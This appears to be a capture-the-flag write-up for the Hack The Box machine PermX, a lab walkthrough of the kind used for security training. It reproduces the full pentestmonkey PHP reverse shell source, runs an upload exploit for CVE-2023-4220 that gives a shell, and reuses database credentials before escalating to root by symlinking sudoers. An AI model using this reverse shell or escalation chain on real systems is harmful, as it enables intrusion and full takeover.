PermX is an easy machine where we will exploit the CVE-2023-4220 that will allow us to upload a .php file where we will achieve a reverse shell accessing as the user www-data and looking for the configuration file of the database we will achieve the credentials where they are reused for the user mtz, the user mtz has sudo permissions in a script that grants permissions to any file located in the /home/mtz and making a symbolic link from sudoers to the home we can change the permissions and achieve root.
Enumeration
We start with an nmap scan:
# Nmap 7.94SVN scan initiated Sun Oct 20 12:56:46 2024 as: nmap -p- --open -sSCV -n -Pn -vvv -oN target 10.10.11.23Nmapscanreportfor10.10.11.23Hostisup,receiveduser-set (0.17s latency).Scannedat2024-10-2012:56:46CESTfor129sNotshown:64943closedtcpports (reset), 590 filtered tcp ports (no-response)Someclosedportsmaybereportedasfiltereddueto--defeat-rst-ratelimitPORTSTATESERVICEREASONVERSION22/tcpopensshsyn-ackttl63OpenSSH8.9p1Ubuntu3ubuntu0.10 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|256e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)|ecdsa-sha2-nistp256AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=|2561f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)|_ssh-ed25519AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI80/tcpopenhttpsyn-ackttl63Apachehttpd2.4.52|http-methods:|_SupportedMethods:GETHEADPOSTOPTIONS|_http-server-header:Apache/2.4.52 (Ubuntu)|_http-title:Didnotfollowredirecttohttp://permx.htbServiceInfo:Host:127.0.1.1; OS:Linux; CPE:cpe:/o:linux:linux_kernelReaddatafilesfrom:/usr/bin/../share/nmapServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sun Oct 20 12:58:55 2024 -- 1 IP address (1 host up) scanned in 129.57 seconds
Letβs add permx.htb to our /etc/hosts and letβs access the web see whatβs there:
PORT
SERVICE
22
OpenSSH 8.9p1
80
Apache httpd 2.4.52
If we do directory fuzzing we wonβt find much so we will search by subdomains:
We will see in the repository that we will need a .php file, I will use phppentestmonkey:
<?php// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);$VERSION ="1.0";$ip ='YOURIP';$port = YOURPORT;$chunk_size =1400;$write_a =null;$error_a =null;$shell ='uname -a; w; id; sh -i';$daemon =0;$debug =0;if (function_exists('pcntl_fork')) { $pid =pcntl_fork();if ($pid ==-1) {printit("ERROR: Can't fork");exit(1); }if ($pid) {exit(0); // Parent exits }if (posix_setsid()==-1) {printit("Error: Can't setsid()");exit(1); } $daemon =1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}chdir("/");umask(0);// Open reverse connection$sock =fsockopen($ip, $port, $errno, $errstr,30);if (!$sock) {printit("$errstr ($errno)");exit(1);}$descriptorspec =array(0=>array("pipe","r"),// stdin is a pipe that the child will read from1=>array("pipe","w"),// stdout is a pipe that the child will write to2=>array("pipe","w") // stderr is a pipe that the child will write to);$process =proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break; }if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break; } $read_a =array($sock, $pipes[1], $pipes[2]); $num_changed_sockets =stream_select($read_a, $write_a, $error_a,null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input =fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input); }if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ"); $input =fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input); }if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input =fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input); }}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);functionprintit ($string) {if (!$daemon) {print"$string\n"; }}?>
Now letβs run the exploit:
β―./CVE-2023-4220.sh-frev.php-hhttp://lms.permx.htb-p9999-eThefilehassuccessfullybeenuploaded.-e# Use This leter For Interactive TTY ;) # python3 -c 'import pty;pty.spawn("/bin/bash")'# export TERM=xterm# CTRL + Z# stty raw -echo; fg-e# Starting Reverse Shell On Port 9999 . . . . . . .-elisteningon [any] 9999 ...connectto [10.10.16.23] from (UNKNOWN) [10.10.11.23] 34490Linuxpermx5.15.0-113-generic#123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux14:03:57up1day,21:00,1user,loadaverage:0.00,0.00,0.00USERTTYFROMLOGIN@IDLEJCPUPCPUWHATuid=33(www-data) gid=33(www-data) groups=33(www-data)sh:0:can't access tty; job control turned off$ whoamiwww-data
We will be able to see that there is a user named mtz:
www-data@permx:/$cat/etc/passwd|grep/bin/bashroot:x:0:0:root:/root:/bin/bashmtz:x:1000:1000:mtz:/home/mtz:/bin/bashWewilllookforthechamilolmsdatabaseconfigurationfile:```bashwww-data@permx:/var/www/chamilo/app/config$catconfiguration.php<?php//Chamiloversion1.11.24//Filegeneratedby/install/index.phpscript-Sat,20Jan202418:20:32+0000/*Forlicensingterms,see/license.txt*//***Thisfilecontainsalistofvariablesthatcanbemodifiedbythecampussite's server administrator. * Pay attention when changing these variables, some changes may cause Chamilo to stop working. * If you changed some settings and want to restore them, please have a look at * configuration.dist.php. That file is an exact copy of the config file at install time. * Besides the $_configuration, a $_settings array also exists, that * contains variables that can be changed and will not break the platform. * These optional settings are defined in the database, now * (table settings_current). */// Database connection settings.$_configuration['db_host'] = 'localhost';$_configuration['db_port'] = '3306';$_configuration['main_database'] = 'chamilo';$_configuration['db_user'] = 'chamilo';$_configuration['db_password'] = '03F6lY3u*******';// Enable access to database management for platform admins.$_configuration['db_manager_enabled'] = false;******
With these credentials we can enter the database but we will not find much that is useful to us, but if we try these credentials as the user mtz we will see that they are correct:
If we execute it we will see that it asks us to indicate a userpermissionfile, what we will try to do is to make a symbolic link from sudoers to our home:
Now we will give us all the permissions in the sudoers:
mtz@permx:~$catfakesudoers## This file MUST be edited with the 'visudo' command as root.## Please consider adding local content in /etc/sudoers.d/ instead of# directly modifying this file.## See the man page for details on how to write a sudoers file.#Defaultsenv_resetDefaultsmail_badpassDefaultssecure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"Defaultsuse_pty# This preserves proxy settings from user environments of root# equivalent users (group sudo)#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"# This allows running arbitrary commands, but so does ALL, and it means# different sudoers have their choice of editor respected.#Defaults:%sudo env_keep += "EDITOR"# Completely harmless preservation of a user preference.#Defaults:%sudo env_keep += "GREP_COLOR"# While you shouldn't normally run git as root, you need to with etckeeper#Defaults:%sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"# Per-user preferences; root won't have sensible values for them.#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"# "sudo scp" or "sudo rsync" should be able to use your SSH agent.#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"# Ditto for GPG agent#Defaults:%sudo env_keep += "GPG_AGENT_INFO"# Host alias specification# User alias specification# Cmnd alias specification# User privilege specificationrootALL=(ALL:ALL) ALLmtzALL=(ALL:ALL) ALLBash
Now we will try to do a sudo su and enter the password obtained from the user mtz:
mtz@permx:~$sudosu[sudo] password for mtz: root@permx:/home/mtz#whoamiroot